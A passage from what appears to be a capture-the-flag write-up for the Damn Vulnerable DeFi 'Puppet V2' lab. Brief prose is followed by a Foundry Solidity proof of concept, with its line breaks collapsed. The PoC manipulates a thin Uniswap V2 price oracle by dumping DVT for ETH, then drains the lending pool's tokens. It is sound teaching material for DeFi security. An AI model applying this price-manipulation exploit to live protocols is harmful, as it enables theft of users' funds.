Note that again we have a lot of dvt tokens and ETH compared to the uniswap v2 pool, therefore it is easy to manipulate the price by swapping all dvt for ETH, just like what we did in the previous chall.
One gotcha here, ETH liquidity was added during the setup instead of WETH:
Therefore if we use swapExactTokensForTokens() to swap dvt for WETH, we won't get much WETH back because of low liquidty. Here we should use swapExactTokensForETH() to swap dvt for ETH first and then deposit ETH for WETH.
Building PoC
This PoC is just a modified version of the previous chall.
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {WETH9} from"../../../src/Contracts/WETH9.sol";import {PuppetV2Pool} from"../../../src/Contracts/puppet-v2/PuppetV2Pool.sol";import {IUniswapV2Router02, IUniswapV2Factory, IUniswapV2Pair} from"../../../src/Contracts/puppet-v2/Interfaces.sol";contractPuppetV2isTest {// Uniswap exchange will start with 100 DVT and 10 WETH in liquidityuint256internalconstant UNISWAP_INITIAL_TOKEN_RESERVE =100e18;uint256internalconstant UNISWAP_INITIAL_WETH_RESERVE =10ether;// attacker will start with 10_000 DVT and 20 ETHuint256internalconstant ATTACKER_INITIAL_TOKEN_BALANCE =10_000e18;uint256internalconstant ATTACKER_INITIAL_ETH_BALANCE =20ether;// pool will start with 1_000_000 DVTuint256internalconstant POOL_INITIAL_TOKEN_BALANCE =1_000_000e18;uint256internalconstant DEADLINE =10_000_000; IUniswapV2Pair internal uniswapV2Pair; IUniswapV2Factory internal uniswapV2Factory; IUniswapV2Router02 internal uniswapV2Router; DamnValuableToken internal dvt; WETH9 internal weth; PuppetV2Pool internal puppetV2Pool;addresspayableinternal attacker;addresspayableinternal deployer;functionsetUp() public {/** * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ attacker =payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))); vm.label(attacker,"Attacker"); vm.deal(attacker, ATTACKER_INITIAL_ETH_BALANCE); deployer =payable(address(uint160(uint256(keccak256(abi.encodePacked("deployer")))))); vm.label(deployer,"deployer");// Deploy token to be traded in Uniswap dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT"); weth =newWETH9(); vm.label(address(weth),"WETH");// Deploy Uniswap Factory and Router uniswapV2Factory =IUniswapV2Factory(deployCode("./src/build-uniswap/v2/UniswapV2Factory.json", abi.encode(address(0)))); uniswapV2Router =IUniswapV2Router02(deployCode("./src/build-uniswap/v2/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory),address(weth)) ) );// Create Uniswap pair against WETH and add liquidity dvt.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE); uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(address(dvt), UNISWAP_INITIAL_TOKEN_RESERVE,// amountTokenDesired0,// amountTokenMin0,// amountETHMin deployer,// to DEADLINE // deadline );// Get a reference to the created Uniswap pair uniswapV2Pair =IUniswapV2Pair(uniswapV2Factory.getPair(address(dvt),address(weth)));assertGt(uniswapV2Pair.balanceOf(deployer),0);// Deploy the lending pool puppetV2Pool =newPuppetV2Pool(address(weth),address(dvt),address(uniswapV2Pair),address(uniswapV2Factory) );// Setup initial token balances of pool and attacker account dvt.transfer(attacker, ATTACKER_INITIAL_TOKEN_BALANCE); dvt.transfer(address(puppetV2Pool), POOL_INITIAL_TOKEN_BALANCE);// Ensure correct setup of pool.assertEq(puppetV2Pool.calculateDepositOfWETHRequired(1ether),0.3ether);assertEq(puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE),300_000ether); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker); console.log("Attacker's dvt balance before swap: ", dvt.balanceOf(attacker)); console.log("Attacker's ETH balance before swap: ", attacker.balance); dvt.approve(address(uniswapV2Router), type(uint256).max);address[] memory path =newaddress[](2); path[0] =address(dvt); path[1] =address(weth); uniswapV2Router.swapExactTokensForETH( dvt.balanceOf(attacker),1ether, path, attacker, block.timestamp +5days ); console.log("Attacker's dvt balance after swap: ", dvt.balanceOf(attacker)); console.log("Attacker's ETH balance after swap: ", attacker.balance); console.log("Attacker's weth balance before deposit: ", weth.balanceOf(attacker)); weth.deposit{value: attacker.balance}(); console.log("Attacker's weth balance after deposit: ", weth.balanceOf(attacker)); weth.approve(address(puppetV2Pool), type(uint256).max);uint256 poolBalance = dvt.balanceOf(address(puppetV2Pool));uint256 depositOfWETHRequired = puppetV2Pool.calculateDepositOfWETHRequired(poolBalance); console.log("depositOfWETHRequired: ", depositOfWETHRequired); puppetV2Pool.borrow(poolBalance); console.log("Attacker's dvt balance after borrow: ", dvt.balanceOf(attacker)); console.log("Attacker's weth balance after borrow: ", weth.balanceOf(attacker)); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {/** * SUCCESS CONDITIONS */// Attacker has taken all tokens from the poolassertEq(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);assertEq(dvt.balanceOf(address(puppetV2Pool)),0); }}